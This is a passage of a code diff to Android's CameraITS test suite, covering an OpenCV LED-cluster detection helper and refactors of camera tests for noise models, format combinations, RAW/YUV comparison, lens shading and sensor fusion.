+    cluster_percentage = len(largest_cluster) / len(contours)
+
+    if cluster_percentage < MAJORITY_THRESHOLD:
+        return None, None
+
+    if DEBUG:
+        # Draw largest cluster on scratch frame.
+        for circle in largest_cluster:
+            cv2.circle(frame, (int(circle.x), int(circle.y)), int(circle.r),
+                       (0, 255, 0), thickness=2)
+
+    return largest_cluster, cluster_percentage
+
+
+def proximity_clusters(contours):
+    """Sorts the given contours into groups by distance.
+
+    Converts every given contour to a circle and clusters by adding a circle to
+    a cluster only if it is close to at least one other circle in the cluster.
+
+    TODO: Make algorithm faster (currently O(n**2)).
+
+    Args:
+        contours: Contours generated by OpenCV.
+
+    Returns:
+        A list of clusters, where each cluster is a list of the circles
+        contained in the cluster.
+    """
+    circles = convert_to_circles(contours)
+
+    # Use disjoint-set data structure to store assignments.  Start every point
+    # in their own cluster.
+    cluster_assignments = [-1 for i in range(len(circles))]
+
+    def get_canonical_index(i):
+        if cluster_assignments[i] >= 0:
+            index = get_canonical_index(cluster_assignments[i])
+            # Collapse tree for better runtime.
+            cluster_assignments[i] = index
+            return index
+        else:
+            return i
+
+    def get_cluster_size(i):
+        return -cluster_assignments[get_canonical_index(i)]
+
+    for i, curr in enumerate(circles):
+        close_circles = [j for j, p in enumerate(circles) if i != j and
+                         curr.distance_to(p) < CLUSTER_DISTANCE]
+        if close_circles:
+            # Note: largest_cluster is an index into cluster_assignments.
+            largest_cluster = min(close_circles, key=get_cluster_size)
+            largest_size = get_cluster_size(largest_cluster)
+            curr_index = get_canonical_index(i)
+            curr_size = get_cluster_size(i)
+            if largest_size > curr_size:
+                # largest_cluster is larger than us.
+                target_index = get_canonical_index(largest_cluster)
+                # Add our cluster size to the bigger one.
+                cluster_assignments[target_index] -= curr_size
+                # Reroute our group to the bigger one.
+                cluster_assignments[curr_index] = target_index
+            else:
+                # We're the largest (or equal to the largest) cluster.  Reroute
+                # all groups to us.
+                for j in close_circles:
+                    smaller_size = get_cluster_size(j)
+                    smaller_index = get_canonical_index(j)
+                    if smaller_index != curr_index:
+                        # We only want to modify clusters that aren't already in
+                        # the current one.
+
+                        # Add the smaller cluster's size to ours.
+                        cluster_assignments[curr_index] -= smaller_size
+                        # Reroute their group to us.
+                        cluster_assignments[smaller_index] = curr_index
+
+    # Convert assignments list into list of clusters.
+    clusters_dict = {}
+    for i in range(len(cluster_assignments)):
+        canonical_index = get_canonical_index(i)
+        if canonical_index not in clusters_dict:
+            clusters_dict[canonical_index] = []
+        clusters_dict[canonical_index].append(circles[i])
+    return clusters_dict.values()
+
+
+def find_cluster_bounding_rect(cluster, scratch_frame):
+    """Finds the minimum rectangle that bounds the given cluster.
+
+    The bounding rectangle will always be axis-aligned.
+
+    Args:
+        cluster:       Cluster being used to find the bounding rectangle.
+        scratch_frame: Image that rectangle is drawn onto for debugging
+                       purposes.
+
+    Returns:
+        The leftmost and topmost x and y coordinates, respectively, along with
+        the width and height of the rectangle.
+    """
+    avg_distance = find_average_neighbor_distance(cluster)
+    debug_print('Average distance between points in largest cluster is %s '
+                'pixels.' % avg_distance)
+
+    c_x = min(cluster, key=lambda c: c.x - c.r)
+    c_y = min(cluster, key=lambda c: c.y - c.r)
+    c_w = max(cluster, key=lambda c: c.x + c.r)
+    c_h = max(cluster, key=lambda c: c.y + c.r)
+
+    x = c_x.x - c_x.r - avg_distance
+    y = c_y.y - c_y.r - avg_distance
+    w = (c_w.x + c_w.r + avg_distance) - x
+    h = (c_h.y + c_h.r + avg_distance) - y
+
+    if DEBUG:
+        points = np.array([[x, y], [x + w, y], [x + w, y + h], [x, y + h]],
+                          np.int32)
+        cv2.polylines(scratch_frame, [points], True, (255, 0, 0), thickness=2)
+
+    return x, y, w, h
+
+
+def find_average_neighbor_distance(cluster):
+    """Finds the average distance between every circle and its closest neighbor.
+
+    Args:
+        cluster: List of circles
+
+    Returns:
+        The average distance.
+    """
+    avg_distance = 0.0
+    for a in cluster:
+        closest_point = None
+        closest_dist = None
+        for b in cluster:
+            if a is b:
+                continue
+            curr_dist = a.distance_to(b)
+            if closest_point is None or curr_dist < closest_dist:
+                closest_point = b
+                closest_dist = curr_dist
+        avg_distance += closest_dist
+    avg_distance /= len(cluster)
+    return avg_distance
+
+
+def find_num_columns_spanned(circles):
+    """Finds how many columns of the LED panel are spanned by the given circles.
+
+    Args:
+        circles: List of circles (assumed to be from the LED panel).
+
+    Returns:
+        The number of columns spanned.
+    """
+    if not circles:
+        return 0
+
+    def x_intersects(c_a, c_b):
+        return abs(c_a.x - c_b.x) < (c_a.r + c_b.r)
+
+    circles = sorted(circles, key=lambda c: c.x)
+    last_circle = circles[0]
+    num_columns = 1
+    for circle in circles[1:]:
+        if not x_intersects(circle, last_circle):
+            last_circle = circle
+            num_columns += 1
+
+    return num_columns
+
+
+def setup_debug_dir(dir_name=None):
+    """Creates a debug directory and required subdirectories.
+
+    Each subdirectory contains images from a different step in the process.
+
+    Args:
+        dir_name: The directory to create.  If none is specified, a temp
+        directory is created.
+
+    Returns:
+        The name of the directory that is used.
+    """
+    if dir_name is None:
+        dir_name = tempfile.mkdtemp()
+    else:
+        force_mkdir(dir_name)
+    print('Saving debugging files to "%s"' % dir_name)
+    # For original captured images.
+    force_mkdir(dir_name + '/raw', clean=True)
+    # For monochrome images.
+    force_mkdir(dir_name + '/mono', clean=True)
+    # For contours generated from monochrome images.
+    force_mkdir(dir_name + '/contour', clean=True)
+    # For post-contour debugging information.
+    force_mkdir(dir_name + '/scratch', clean=True)
+    return dir_name
+
+
+def force_mkdir(dir_name, clean=False):
+    """Creates a directory if it doesn't already exist.
+
+    Args:
+        dir_name: Name of the directory to create.
+        clean:    (optional) If set to true, cleans image files from the
+                  directory (if it already exists).
+    """
+    if os.path.exists(dir_name):
+        if clean:
+            for image in glob.glob('%s/*.png' % dir_name):
+                os.remove(image)
+    else:
+        os.makedirs(dir_name)
+
+
+def debug_print(s, *args, **kwargs):
+    """Only prints if the test is running in debug mode."""
+    if DEBUG:
+        print(s, *args, **kwargs)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index 89587f7..a496fb3 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -36,7 +36,7 @@
         print "Reading sensor measurements"
         sensors = cam.get_sensors()
         cam.start_sensor_events()
-        time.sleep(0.5)
+        time.sleep(2.0)
         events = cam.get_sensor_events()
         ts_sensor_first = {}
         ts_sensor_last = {}
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index 73808cb..538e786 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -12,30 +12,31 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.device
-import its.caps
-import its.objects
-import its.image
 import os.path
-from matplotlib import pylab
+import its.caps
+import its.device
+import its.image
+import its.objects
 import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
+
+NAME = os.path.basename(__file__).split('.')[0]
+BAYER_LIST = ['R', 'GR', 'GB', 'B']
+DIFF_THRESH = 0.0012  # absolute variance delta threshold
+FRAC_THRESH = 0.2  # relative variance delta threshold
+NUM_STEPS = 4
+STATS_GRID = 49  # center 2.04% of image for calculations
+
 
 def main():
-    """Verify that the DNG raw model parameters are correct.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    NUM_STEPS = 4
+    """Verify that the DNG raw model parameters are correct."""
 
     # Pass if the difference between expected and computed variances is small,
-    # defined as being within an absolute variance delta of 0.0005, or within
-    # 20% of the expected variance, whichever is larger; this is to allow the
+    # defined as being within an absolute variance delta or relative variance
+    # delta of the expected variance, whichever is larger. This is to allow the
     # test to pass in the presence of some randomness (since this test is
     # measuring noise of a small patch) and some imperfect scene conditions
     # (since ITS doesn't require a perfectly uniformly lit scene).
-    DIFF_THRESH = 0.0005
-    FRAC_THRESH = 0.2
 
     with its.device.ItsSession() as cam:
 
@@ -45,70 +46,85 @@
                              its.caps.manual_sensor(props) and
                              its.caps.read_3a(props) and
                              its.caps.per_frame_control(props))
+        debug = its.caps.debug_mode()
 
         white_level = float(props['android.sensor.info.whiteLevel'])
         cfa_idxs = its.image.get_canonical_cfa_order(props)
+        aax = props['android.sensor.info.activeArraySize']['left']
+        aay = props['android.sensor.info.activeArraySize']['top']
+        aaw = props['android.sensor.info.activeArraySize']['right']-aax
+        aah = props['android.sensor.info.activeArraySize']['bottom']-aay
 
         # Expose for the scene with min sensitivity
         sens_min, sens_max = props['android.sensor.info.sensitivityRange']
         sens_step = (sens_max - sens_min) / NUM_STEPS
-        s_ae,e_ae,_,_,f_dist  = cam.do_3a(get_results=True)
+        s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
         s_e_prod = s_ae * e_ae
         sensitivities = range(sens_min, sens_max, sens_step)
 
-        var_expected = [[],[],[],[]]
-        var_measured = [[],[],[],[]]
+        var_expected = [[], [], [], []]
+        var_measured = [[], [], [], []]
+        x = STATS_GRID/2  # center in H of STATS_GRID
+        y = STATS_GRID/2  # center in W of STATS_GRID
         for sens in sensitivities:
 
-            # Capture a raw frame with the desired sensitivity.
+            # Capture a raw frame with the desired sensitivity
             exp = int(s_e_prod / float(sens))
             req = its.objects.manual_capture_request(sens, exp, f_dist)
-            cap = cam.do_capture(req, cam.CAP_RAW)
+            if debug:
+                cap = cam.do_capture(req, cam.CAP_RAW)
+                planes = its.image.convert_capture_to_planes(cap, props)
+            else:
+                cap = cam.do_capture(req, {'format': 'rawStats',
+                                           'gridWidth': aaw/STATS_GRID,
+                                           'gridHeight': aah/STATS_GRID})
+                mean_img, var_img = its.image.unpack_rawstats_capture(cap)
 
-            # Test each raw color channel (R, GR, GB, B):
-            noise_profile = cap["metadata"]["android.sensor.noiseProfile"]
-            assert((len(noise_profile)) == 4)
-            for ch in range(4):
+            # Test each raw color channel (R, GR, GB, B)
+            noise_profile = cap['metadata']['android.sensor.noiseProfile']
+            assert len(noise_profile) == len(BAYER_LIST)
+            for i in range(len(BAYER_LIST)):
                 # Get the noise model parameters for this channel of this shot.
-                s,o = noise_profile[cfa_idxs[ch]]
+                ch = cfa_idxs[i]
+                s, o = noise_profile[ch]
 
-                # Get a center tile of the raw channel, and compute the mean.
                 # Use a very small patch to ensure gross uniformity (i.e. so
                 # non-uniform lighting or vignetting doesn't affect the variance
-                # calculation).
-                plane = its.image.convert_capture_to_planes(cap, props)[ch]
-                black_level = its.image.get_black_level(
-                    ch, props, cap["metadata"])
-                plane = (plane * white_level - black_level) / (
-                    white_level - black_level)
-                tile = its.image.get_image_patch(plane, 0.49,0.49,0.02,0.02)
-                mean = tile.mean()
+                # calculation)
+                black_level = its.image.get_black_level(i, props,
+                                                        cap['metadata'])
+                level_range = white_level - black_level
+                if debug:
+                    plane = ((planes[i] * white_level - black_level) /
+                             level_range)
+                    tile = its.image.get_image_patch(plane, 0.49, 0.49,
+                                                     0.02, 0.02)
+                    mean_img_ch = tile.mean()
+                    var_measured[i].append(
+                            its.image.compute_image_variances(tile)[0])
+                else:
+                    mean_img_ch = (mean_img[x, y, ch]-black_level)/level_range
+                    var_measured[i].append(var_img[x, y, ch]/level_range**2)
+                var_expected[i].append(s * mean_img_ch + o)
 
-                # Calculate the expected variance based on the model, and the
-                # measured variance from the tile.
-                var_measured[ch].append(
-                        its.image.compute_image_variances(tile)[0])
-                var_expected[ch].append(s * mean + o)
-
-    for ch in range(4):
-        pylab.plot(sensitivities, var_expected[ch], "rgkb"[ch],
-                label=["R","GR","GB","B"][ch]+" expected")
-        pylab.plot(sensitivities, var_measured[ch], "rgkb"[ch]+"--",
-                label=["R", "GR", "GB", "B"][ch]+" measured")
-    pylab.xlabel("Sensitivity")
-    pylab.ylabel("Center patch variance")
+    for i, ch in enumerate(BAYER_LIST):
+        pylab.plot(sensitivities, var_expected[i], 'rgkb'[i],
+                   label=ch+' expected')
+        pylab.plot(sensitivities, var_measured[i], 'rgkb'[i]+'--',
+                   label=ch+' measured')
+    pylab.xlabel('Sensitivity')
+    pylab.ylabel('Center patch variance')
     pylab.legend(loc=2)
-    matplotlib.pyplot.savefig("%s_plot.png" % (NAME))
+    matplotlib.pyplot.savefig('%s_plot.png' % NAME)
 
-    # Pass/fail check.
-    for ch in range(4):
-        diffs = [abs(var_measured[ch][i] - var_expected[ch][i])
-                 for i in range(len(sensitivities))]
-        print "Diffs (%s):"%(["R","GR","GB","B"][ch]), diffs
-        for i,diff in enumerate(diffs):
-            thresh = max(DIFF_THRESH, FRAC_THRESH * var_expected[ch][i])
-            assert(diff <= thresh)
+    # PASS/FAIL check
+    for i, ch in enumerate(BAYER_LIST):
+        diffs = [abs(var_measured[i][j] - var_expected[i][j])
+                 for j in range(len(sensitivities))]
+        print 'Diffs (%s):'%(ch), diffs
+        for j, diff in enumerate(diffs):
+            thresh = max(DIFF_THRESH, FRAC_THRESH*var_expected[i][j])
+            assert diff <= thresh
 
 if __name__ == '__main__':
     main()
-
diff --git a/apps/CameraITS/tests/scene1/test_format_combos.py b/apps/CameraITS/tests/scene1/test_format_combos.py
index 1519237..ca65e4f 100644
--- a/apps/CameraITS/tests/scene1/test_format_combos.py
+++ b/apps/CameraITS/tests/scene1/test_format_combos.py
@@ -20,15 +20,13 @@
 import its.target
 import sys
 import os
-import os.path
 
-# Change this to True, to have the test break at the first failure.
-stop_at_first_failure = False
+NAME = os.path.basename(__file__).split(".")[0]
+STOP_AT_FIRST_FAILURE = False  # change to True to have test break @ 1st FAIL
+
 
 def main():
-    """Test different combinations of output formats.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
+    """Test different combinations of output formats."""
 
     with its.device.ItsSession() as cam:
 
@@ -44,33 +42,33 @@
         e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
         req_aut = its.objects.auto_capture_request()
         req_man = its.objects.manual_capture_request(s, e)
-        reqs = [req_aut, # R0
-                req_man] # R1
+        reqs = [req_aut,  # R0
+                req_man]  # R1
 
         # 10 different combos of output formats; some are single surfaces, and
         # some are multiple surfaces.
-        wyuv,hyuv = its.objects.get_available_output_sizes("yuv", props)[-1]
-        wjpg,hjpg = its.objects.get_available_output_sizes("jpg", props)[-1]
-        fmt_yuv_prev = {"format":"yuv", "width":wyuv, "height":hyuv}
-        fmt_yuv_full = {"format":"yuv"}
-        fmt_jpg_prev = {"format":"jpeg","width":wjpg, "height":hjpg}
-        fmt_jpg_full = {"format":"jpeg"}
-        fmt_raw_full = {"format":"raw"}
-        fmt_combos =[
-                [fmt_yuv_prev],                             # F0
-                [fmt_yuv_full],                             # F1
-                [fmt_jpg_prev],                             # F2
-                [fmt_jpg_full],                             # F3
-                [fmt_raw_full],                             # F4
-                [fmt_yuv_prev, fmt_jpg_prev],               # F5
-                [fmt_yuv_prev, fmt_jpg_full],               # F6
-                [fmt_yuv_prev, fmt_raw_full],               # F7
-                [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full], # F8
-                [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]] # F9
+        wyuv, hyuv = its.objects.get_available_output_sizes("yuv", props)[-1]
+        wjpg, hjpg = its.objects.get_available_output_sizes("jpg", props)[-1]
+        fmt_yuv_prev = {"format": "yuv", "width": wyuv, "height": hyuv}
+        fmt_yuv_full = {"format": "yuv"}
+        fmt_jpg_prev = {"format": "jpeg", "width": wjpg, "height": hjpg}
+        fmt_jpg_full = {"format": "jpeg"}
+        fmt_raw_full = {"format": "raw"}
+        fmt_combos = [
+            [fmt_yuv_prev],                              # F0
+            [fmt_yuv_full],                              # F1
+            [fmt_jpg_prev],                              # F2
+            [fmt_jpg_full],                              # F3
+            [fmt_raw_full],                              # F4
+            [fmt_yuv_prev, fmt_jpg_prev],                # F5
+            [fmt_yuv_prev, fmt_jpg_full],                # F6
+            [fmt_yuv_prev, fmt_raw_full],                # F7
+            [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full],  # F8
+            [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]]  # F9
 
         # Two different burst lengths: single frame, and 3 frames.
-        burst_lens = [1, # B0
-                      3] # B1
+        burst_lens = [1,  # B0
+                      3]  # B1
 
         # There are 2x10x2=40 different combinations. Run through them all.
         n = 0
@@ -82,15 +80,14 @@
                         successes.append((n,r,f,b))
                         print "==> Success[%02d]: R%d F%d B%d" % (n,r,f,b)
 
-                        # Dump the captures out to jpegs.
-                        if not isinstance(caps, list):
-                            caps = [caps]
-                        elif isinstance(caps[0], list):
-                            caps = sum(caps, [])
-                        for c,cap in enumerate(caps):
-                            img = its.image.convert_capture_to_rgb_image(cap,
-                                    props=props)
-                            if debug:
+                        # Dump the captures out to jpegs in debug mode.
+                        if debug:
+                            if not isinstance(caps, list):
+                                caps = [caps]
+                            elif isinstance(caps[0], list):
+                                caps = sum(caps, [])
+                            for c, cap in enumerate(caps):
+                                img = its.image.convert_capture_to_rgb_image(cap, props=props)
                                 its.image.write_image(img,
                                     "%s_n%02d_r%d_f%d_b%d_c%d.jpg"%(NAME,n,r,f,b,c))
 
@@ -98,8 +95,8 @@
                         print e
                         print "==> Failure[%02d]: R%d F%d B%d" % (n,r,f,b)
                         failures.append((n,r,f,b))
-                        if stop_at_first_failure:
-                            sys.exit(0)
+                        if STOP_AT_FIRST_FAILURE:
+                            sys.exit(1)
                     n += 1
 
         num_fail = len(failures)
@@ -118,8 +115,8 @@
         print ""
 
         # The test passes if all the combinations successfully capture.
-        assert(num_fail == 0)
-        assert(num_success == num_total)
+        assert num_fail == 0
+        assert num_success == num_total
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
index 343c960..dd7ef21 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
@@ -12,20 +12,20 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
+import math
+import os.path
 import its.caps
 import its.device
+import its.image
 import its.objects
 import its.target
-import os.path
-import math
+
+NAME = os.path.basename(__file__).split(".")[0]
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
 
 def main():
-    """Test capturing a single frame as both RAW and YUV outputs.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    THRESHOLD_MAX_RMS_DIFF = 0.035
+    """Test capturing a single frame as both RAW and YUV outputs."""
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -38,34 +38,35 @@
         e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
         req = its.objects.manual_capture_request(s, e, 0.0, True, props)
 
-        if 0 in props['android.shading.availableModes']:
-            req["android.shading.mode"] = 0
+        mode = req["android.shading.mode"]
+        print "shading mode:", mode
 
-        max_raw_size = \
-                its.objects.get_available_output_sizes("raw", props)[0]
-        w,h = its.objects.get_available_output_sizes(
+        max_raw_size = its.objects.get_available_output_sizes("raw", props)[0]
+        w, h = its.objects.get_available_output_sizes(
                 "yuv", props, (1920, 1080), max_raw_size)[0]
-        out_surfaces = [{"format":"raw"},
-                        {"format":"yuv", "width":w, "height":h}]
+        out_surfaces = [{"format": "raw"},
+                        {"format": "yuv", "width": w, "height": h}]
         cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
 
         img = its.image.convert_capture_to_rgb_image(cap_yuv)
-        its.image.write_image(img, "%s_yuv.jpg" % (NAME), True)
+        its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
         tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
         rgb0 = its.image.compute_image_means(tile)
 
         # Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
         # cropping is relative.
         img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
-        its.image.write_image(img, "%s_raw.jpg" % (NAME), True)
+        its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
         tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
         rgb1 = its.image.compute_image_means(tile)
 
         rms_diff = math.sqrt(
                 sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-        print "RMS difference:", rms_diff
-        assert(rms_diff < THRESHOLD_MAX_RMS_DIFF)
+        msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
+                                                    THRESHOLD_MAX_RMS_DIFF)
+        print msg
+        assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
 
-if __name__ == '__main__':
+if __name__ == "__main__":
     main()
 
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
index 6ecdca7..9c0c69b 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
@@ -12,20 +12,20 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
+import math
+import os.path
 import its.caps
 import its.device
+import its.image
 import its.objects
 import its.target
-import os.path
-import math
+
+NAME = os.path.basename(__file__).split(".")[0]
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
 
 def main():
-    """Test capturing a single frame as both RAW10 and YUV outputs.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    THRESHOLD_MAX_RMS_DIFF = 0.035
+    """Test capturing a single frame as both RAW10 and YUV outputs."""
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -38,34 +38,36 @@
         e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
         req = its.objects.manual_capture_request(s, e, 0.0, True, props)
 
-        if 0 in props['android.shading.availableModes']:
-            req["android.shading.mode"] = 0
+        mode = req["android.shading.mode"]
+        print "shading mode:", mode
 
-        max_raw10_size = \
-                its.objects.get_available_output_sizes("raw10", props)[0]
-        w,h = its.objects.get_available_output_sizes(
+        max_raw10_size = its.objects.get_available_output_sizes("raw10",
+                                                                props)[0]
+        w, h = its.objects.get_available_output_sizes(
                 "yuv", props, (1920, 1080), max_raw10_size)[0]
-        cap_raw, cap_yuv = cam.do_capture(req,
-                [{"format":"raw10"},
-                 {"format":"yuv", "width":w, "height":h}])
+        out_surfaces = [{"format": "raw10"},
+                        {"format": "yuv", "width": w, "height": h}]
+        cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
 
         img = its.image.convert_capture_to_rgb_image(cap_yuv)
-        its.image.write_image(img, "%s_yuv.jpg" % (NAME), True)
+        its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
         tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
         rgb0 = its.image.compute_image_means(tile)
 
         # Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
         # cropping is relative.
         img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
-        its.image.write_image(img, "%s_raw.jpg" % (NAME), True)
+        its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
         tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
         rgb1 = its.image.compute_image_means(tile)
 
         rms_diff = math.sqrt(
                 sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-        print "RMS difference:", rms_diff
-        assert(rms_diff < THRESHOLD_MAX_RMS_DIFF)
+        msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
+                                                    THRESHOLD_MAX_RMS_DIFF)
+        print msg
+        assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
 
-if __name__ == '__main__':
+if __name__ == "__main__":
     main()
 
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index 065f854..95fc543 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -45,13 +45,15 @@
     THRES_LS_CN = 0.6    # len shading allowance for corner
     THRES_LS_HIGH = 0.2  # max allowed percentage for a patch to be brighter
                          # than center
-    THRES_UFMT = 0.1     # uniformity allowance
+    THRES_UFMT = 0.2     # uniformity allowance
     # Drawing color
     RED = (1, 0, 0)   # blocks failed the test
     GREEN = (0, 0.7, 0.3)   # blocks passed the test
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
+        its.caps.skip_unless(its.caps.ae_lock(props) and
+                             its.caps.awb_lock(props))
         if its.caps.read_3a(props):
             # Converge 3A and get the estimates.
             sens, exp, gains, xform, focus = cam.do_3a(get_results=True,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 3073fc5..2e8f38e 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -12,32 +12,33 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
-import its.device
-import its.objects
-import its.caps
-import time
-import math
-from matplotlib import pylab
-import os.path
-import matplotlib
-import matplotlib.pyplot
-import json
-from PIL import Image
-import numpy
-import cv2
 import bisect
-import scipy.spatial
+import json
+import math
+import os.path
 import sys
+import time
+
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+import matplotlib
+from matplotlib import pylab
+import matplotlib.pyplot
+import numpy
+from PIL import Image
+import scipy.spatial
 
 NAME = os.path.basename(__file__).split(".")[0]
 
-# Capture 210 VGA frames (which is 7s at 30fps)
-N = 210
-W,H = 640,480
-FEATURE_MARGIN = H * 0.20 / 2 # Only take feature points from the center 20%
-                              # so that the rotation measured have much less
-                              # of rolling shutter effect
+W, H = 640, 480
+FPS = 30
+TEST_LENGTH = 7  # seconds
+FEATURE_MARGIN = 0.20  # Only take feature points from the center 20%
+                       # so that the rotation measured have much less of rolling
+                       # shutter effect
 
 MIN_FEATURE_PTS = 30          # Minimum number of feature points required to
                               # perform rotation analysis
@@ -48,15 +49,15 @@
 
 MIN_GYRO_SMP_RATE = 100.0     # Minimum gyro sample rate
 
-FEATURE_PARAMS = dict( maxCorners = 240,
-                       qualityLevel = 0.3,
-                       minDistance = 7,
-                       blockSize = 7 )
+FEATURE_PARAMS = dict(maxCorners=240,
+                      qualityLevel=0.3,
+                      minDistance=7,
+                      blockSize=7)
 
-LK_PARAMS = dict( winSize  = (15, 15),
-                  maxLevel = 2,
-                  criteria = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
-                        10, 0.03))
+LK_PARAMS = dict(winSize=(15, 15),
+                 maxLevel=2,
+                 criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
+                           10, 0.03))
 
 # Constants to convert between different units (for clarity).
 SEC_TO_NSEC = 1000*1000*1000.0
@@ -87,22 +88,50 @@
     The instructions for running this test are in the SensorFusion.pdf file in
     the same directory as this test.
 
-    The command-line argument "replay" may be optionally provided. Without this
-    argument, the test will collect a new set of camera+gyro data from the
-    device and then analyze it (and it will also dump this data to files in the
-    current directory). If the "replay" argument is provided, then the script
-    will instead load the dumped data from a previous run and analyze that
-    instead. This can be helpful for developers who are digging for additional
-    information on their measurements.
+    Note that if fps*test_length is too large, write speeds may become a
+    bottleneck and camera capture will slow down or stop.
+
+    Command line arguments:
+        fps:         FPS to capture with during the test
+        img_size:    Comma-separated dimensions of captured images (defaults to
+                     640x480). Ex: "img_size=<width>,<height>"
+        replay:      Without this argument, the test will collect a new set of
+                     camera+gyro data from the device and then analyze it (and
+                     it will also dump this data to files in the current
+                     directory).  If the "replay" argument is provided, then the
+                     script will instead load the dumped data from a previous
+                     run and analyze that instead. This can be helpful for
+                     developers who are digging for additional information on
+                     their measurements.
+        test_length: How long the test should run for (in seconds)
     """
 
+    fps = FPS
+    w, h = W, H
+    test_length = TEST_LENGTH
+    for s in sys.argv[1:]:
+        if s[:4] == "fps=" and len(s) > 4:
+            fps = int(s[4:])
+        elif s[:9] == "img_size=" and len(s) > 9:
+            # Split by comma and convert each dimension to int.
+            [w, h] = map(int, s[9:].split(","))
+        elif s[:12] == "test_length=" and len(s) > 12:
+            test_length = int(s[12:])
+
     # Collect or load the camera+gyro data. All gyro events as well as camera
     # timestamps are in the "events" dictionary, and "frames" is a list of
     # RGB images as numpy arrays.
     if "replay" not in sys.argv:
-        events, frames = collect_data()
+        if w * h > 640 * 480 or fps * test_length > 300:
+            warning_str = (
+                "Warning: Your test parameters may require fast write speeds "
+                "to run smoothly.  If you run into problems, consider smaller "
+                "values of \'w\', \'h\', \'fps\', or \'test_length\'."
+            )
+            print warning_str
+        events, frames = collect_data(fps, w, h, test_length)
     else:
-        events, frames = load_data()
+        events, frames, _, h = load_data()
 
     # Sanity check camera timestamps are enclosed by sensor timestamps
     # This will catch bugs where camera and gyro timestamps go completely out
@@ -114,25 +143,29 @@
     min_gyro_time = min(gyro_times) * NSEC_TO_SEC
     max_gyro_time = max(gyro_times) * NSEC_TO_SEC
     if not (min_cam_time > min_gyro_time and max_cam_time < max_gyro_time):
-        print "Test failed: camera timestamps [%f,%f] " \
-              "are not enclosed by gyro timestamps [%f, %f]" % (
-            min_cam_time, max_cam_time, min_gyro_time, max_gyro_time)
-        assert(0)
+        fail_str = ("Test failed: "
+                    "camera timestamps [%f,%f] "
+                    "are not enclosed by "
+                    "gyro timestamps [%f, %f]"
+                   ) % (min_cam_time, max_cam_time,
+                        min_gyro_time, max_gyro_time)
